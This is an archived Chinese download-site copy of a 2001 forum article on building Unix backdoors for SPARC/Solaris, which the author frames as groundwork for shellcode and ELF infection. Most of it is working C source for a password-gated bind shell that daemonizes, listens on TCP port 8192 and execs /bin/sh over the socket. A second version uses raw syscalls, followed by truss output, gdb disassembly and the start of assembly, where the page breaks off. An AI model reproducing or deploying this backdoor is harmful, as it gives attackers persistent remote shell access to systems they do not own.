⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 382.html

📁 关于jsp的一些好文章 主要介绍一些关于JSP的应用技巧方面的东西
💻 HTML
📖 第 1 页 / 共 4 页
字号:

<STYLE type=text/css>
<!--
body,td { font-size:9pt;}
hr { color: #000000; height: 1px}
-->
</STYLE>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<HTML>
<HEAD><TITLE>精选文章 >> solaris 专栏 >> SPARC/Solaris下的Unix后门初探</title>
</head>
<body >

<p><IMG SRC="../image/jsp001_middle_logo.gif" WIDTH="180" HEIGHT="60" BORDER=0 ALT=""></p>

<table width=100% bgcolor="#cccccc" align=center cellpadding="2" cellspacing="0" border=1 bordercolorlight="#000000" bordercolordark="#FFFFFF">
<tr bgcolor="#EFF8FF"><td>
<a href=http://www.jsp001.com/list_thread.php?int_attribute=2>精选文章</a>
>> <a href=http://www.jsp001.com/list_thread.php?forumid=39&int_attribute=2>solaris 专栏</a>
>> SPARC/Solaris下的Unix后门初探 [<a href=http://www.jsp001.com/forum/showthread.php?goto=newpost&threadid=382>查看别人的评论</a>]<br>

<hr><p>由 fei 发布于: 2001-02-12 14:57</p><p> </p><p>作者: 小丸子 <br><br>无论从感染ELF文件角度还是编写远程shellcode角度都有必要研究SPARC/Solaris下<br>的网络系统调用。这个方向并没有现成的资料,我也是摸着石头过河,给大家探个路。<br><br>--------------------------------------------------------------------------<br>/* gcc -g -ggdb -o s s.c -lsocket */<br>#include &lt;signal.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sys/socket.h&gt;<br>#include &lt;netinet/in.h&gt;<br><br>int        s, c;<br>struct sockaddr_in serv_addr;<br>char *       name[2];<br>char        pass[9] = "xxxxxxxx";<br><br>int main ( int argc, char * argv[] )<br>{<br>  if ( fork() == 0 ) /* 子进程 */<br>  {<br>    setsid(); /* become session leader */<br>    signal( SIGHUP, SIG_IGN );<br>    if ( fork() == 0 ) /* 子进程 */<br>    {<br>      serv_addr.sin_family   = 2;<br>      serv_addr.sin_addr.s_addr = 0;<br>      serv_addr.sin_port    = 0x2000; // 端口8192<br>      // 创建TCP套接字,这里与Linux有区别<br>      s             = socket( 2, 2, 6 );<br>      bind( s, ( struct sockaddr * )&amp;serv_addr, 0x10 );<br>      listen( s, 1 );<br>      signal( SIGCHLD, SIG_IGN );<br>      while ( 1 )<br>      {<br>        c = accept( s, 0, 0 );<br>        if ( fork() == 0 ) /* 子进程 */<br>        {<br>          close( s );<br>          /* 用c进行通信,做一次弱验证保护 */<br>          while ( strcmp( pass, "12345678" ) != 0 )<br>          {<br>            read( c, pass, 8 );<br>          }<br>          // 准备输入输出重定向,标准技术<br>          dup2( c, 0 );<br>          dup2( c, 1 );<br>          dup2( c, 2 );<br>          close( c ); /* 这里可以关闭c */<br>          name[0] = "/bin/sh";<br>          name[1] = 0;<br>          execve( name[0], name, 0 );<br>          exit( 0 ); /* 防止execve()失败 */<br>        }<br>        close( c ); /* 这里必须关闭c */<br>      } /* end of while */<br>    }<br>  }<br>  return( 0 ); /* 父进程 */<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>该程序只能编译成动态版本,如果指定-static,发现<br><br>[scz@ /space/staff/scz/src]&gt; gcc -g -ggdb -static -o s s.c -lsocket<br>未定义符号        在文件中<br>endnetconfig       /usr/lib/libsocket.a(_soutil.o)<br>setnetconfig       /usr/lib/libsocket.a(_soutil.o)<br>getnetconfig       /usr/lib/libsocket.a(_soutil.o)<br>ld: 致命的: 符号参照错误. 没有输出被写入s<br>[scz@ /space/staff/scz/src]&gt; <br><br>我尝试了/usr/lib和/lib下的很多库,都无法解决这个问题。后来拷贝<br>/usr/lib/libsocket.a到当前目录,用ar dv ./libsocket.a _soutil.o处理,然后<br>链接一样失败。甚至ar xv ./libsocket.a后用ld命令进行手工链接,依旧存在外部<br>符号无着落的问题。<br><br>大家知道,没有静态版本,要想得到一个精简的汇编代码版本是不可能的,总不能在<br>浩如烟海的动态链接库里单步跟踪下去判断中断调用发生在哪里。还好,可以用<br>truss跟踪。适当调整上述代码,用truss跟踪后有如下内容:<br><br>setsid()                    = 2260<br>sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8)    = 0<br>so_socket(2, 2, 6, "", 1)            = 3<br>bind(3, 0x00021E60, 16)             = 0<br>listen(3, 1)                  = 0<br>sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8)    = 0<br>accept(3, 0x00000000, 0x00000000) (sleeping...)<br><br>这堆信息就不用我再废话解释了吧。ok,至此我们有了一个绝妙的想法,既然得不到<br>静态版本主要由于libsocket.a外部符号无着落,那么我用syscall呢?直接进行相对<br>底层的系统调用,呵呵,其实以前很少用syscall的,这次也是被逼无奈嘛。现在可<br>以抛弃-lsocket链接开关了,这只猪害人不浅。<br><br>关于setsid(),如果用gdb反汇编一路看下去,还是很快定位到中断调用的,但是我<br>们可以直接观察/usr/include/sys/syscall.h,第39号系统调用的注释中有:<br><br>setsid() == syscall( 39, 3 ) == syscall( SYS_pgrpsys, 3 )<br><br>显然可以直接替换setsid()。至于signal,对应48号系统调用(SYS_signal),也直接<br>利用syscall完成。<br><br>--------------------------------------------------------------------------<br>// gcc -g -ggdb -static -o s s.c<br>// 使用syscall之后,可以抛弃-lsocket链接开关<br>// 由于libsocket.a有点问题,存在外部符号无着落,无法使用静态链接开关<br>// 但是现在我们抛开了libsocket.a,可以指定-static了,哈哈<br><br>#include &lt;signal.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sys/socket.h&gt;<br>#include &lt;netinet/in.h&gt;<br>#include &lt;sys/syscall.h&gt;<br>#include &lt;fcntl.h&gt;<br><br>int        s, c;<br>struct sockaddr_in serv_addr;<br>char *       name[2];<br>char        pass[9] = "xxxxxxxx";<br><br>int main ( int argc, char * argv[] )<br>{<br>  if ( fork() == 0 ) /* 子进程 */<br>  {<br>    // setsid(); /* become session leader */<br>    // SYS_pgrpsys<br>    syscall( 39, 3 );<br>    // signal( SIGHUP, SIG_IGN );<br>    // SYS_signal<br>    syscall( 48, 1, 1 );<br>    if ( fork() == 0 ) /* 子进程 */<br>    {<br>      serv_addr.sin_family   = 2;<br>      serv_addr.sin_addr.s_addr = 0;<br>      // 使用big endian序<br>      serv_addr.sin_port    = 0x2000; // 端口8192<br>      // 创建TCP套接字,这里与Linux有区别<br>      // s             = socket( 2, 2, 6 );<br>      // SYS_so_socket<br>      s             = syscall( 230, 2, 2, 6 );<br>      // bind( s, ( struct sockaddr * )&amp;serv_addr, 0x10 );<br>      // SYS_bind<br>      syscall( 232, s, ( struct sockaddr * )&amp;serv_addr, 16 );<br>      // listen( s, 1 );<br>      // SYS_listen<br>      syscall( 233, s, 1 );<br>      // signal( SIGCHLD, SIG_IGN );<br>      syscall( 48, 18, 1 );<br>      while ( 1 )<br>      {<br>        // c = accept( s, 0, 0 );<br>        // SYS_accept<br>        c = syscall( 234, s, 0, 0 );<br>        if ( fork() == 0 ) /* 子进程 */<br>        {<br>          // close( s );<br>          // SYS_close<br>          syscall( 6, s );<br>          /* 用c进行通信,做一次弱验证保护 */<br>          while ( strcmp( pass, "12345678" ) != 0 )<br>          {<br>            // read( c, pass, 8 );<br>            // SYS_read<br>            syscall( 3, c, pass, 8 );<br>          }<br>          // 准备输入输出重定向,标准技术<br>          // dup2( c, 0 );<br>          // dup2( c, 1 );<br>          // dup2( c, 2 );<br>          // SPARC/Solaris没有单独实现dup2,而是用fcntl实现<br>          // 有点其他问题,请参看APUE,天晓得发生了什么<br>          // syscall( SYS_fcntl, c, F_DUP2FD, 0 );<br>          syscall( 62, c, 9, 0 );<br>          syscall( 62, c, 9, 1 );<br>          syscall( 62, c, 9, 2 );<br>          // close( c ); /* 这里可以关闭c */<br>          syscall( 6, c );<br>          name[0] = "/bin/sh";<br>          name[1] = 0;<br>          execve( name[0], name, 0 );<br>          // exit( 0 ); /* 防止execve()失败 */<br>          // SYS_exit<br>          syscall( 1, 0 );<br>        }<br>        // close( c ); /* 这里必须关闭c */<br>        syscall( 6, c );<br>      } /* end of while */<br>    }<br>  }<br>  return( 0 ); /* 父进程 */<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>对于fork(),可以gdb ./s后disas _libc_fork查看。粗略浏览一遍之后,觉得基本<br>上每个系统调用都能得到机器码,下面着手细化每个系统调用,毕竟和i386/Linux不<br>同了。<br><br>--------------------------------------------------------------------------<br>0x101c0 &lt;main+12&gt;   : call 0x1267c &lt;fork&gt;<br>0x101c4 &lt;main+16&gt;   : nop <br>0x101c8 &lt;main+20&gt;   : cmp  %o0, 0<br>0x101cc &lt;main+24&gt;   : bne  0x10434 &lt;main+640&gt;<br>0x101d0 &lt;main+28&gt;   : nop <br><br>0x131c4 &lt;_libc_fork&gt;  : mov  2, %g1   ! 0x2<br>0x131c8 &lt;_libc_fork+4&gt; : ta  8<br>0x131cc &lt;_libc_fork+8&gt; : bcc  0x131e0 &lt;_libc_fork+28&gt;<br>0x131d0 &lt;_libc_fork+12&gt;: sethi %hi(0x16000), %o5<br>0x131d4 &lt;_libc_fork+16&gt;: or  %o5, 0x90, %o5   ! 0x16090 &lt;_cerror&gt;<br>0x131d8 &lt;_libc_fork+20&gt;: jmp  %o5<br>0x131dc &lt;_libc_fork+24&gt;: nop <br>0x131e0 &lt;_libc_fork+28&gt;: tst  %o1<br>0x131e4 &lt;_libc_fork+32&gt;: bne,a 0x131ec &lt;_libc_fork+40&gt;<br>0x131e8 &lt;_libc_fork+36&gt;: mov  %g0, %o0<br>0x131ec &lt;_libc_fork+40&gt;: retl <br>0x131f0 &lt;_libc_fork+44&gt;: nop <br>--------------------------------------------------------------------------<br><br>综合判断后提炼如下:<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br>  __asm__<br>  ("<br>    mov  2, %g1<br>    ta  8<br>    tst  %o1    ! %o1不为0表示是子进程<br>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -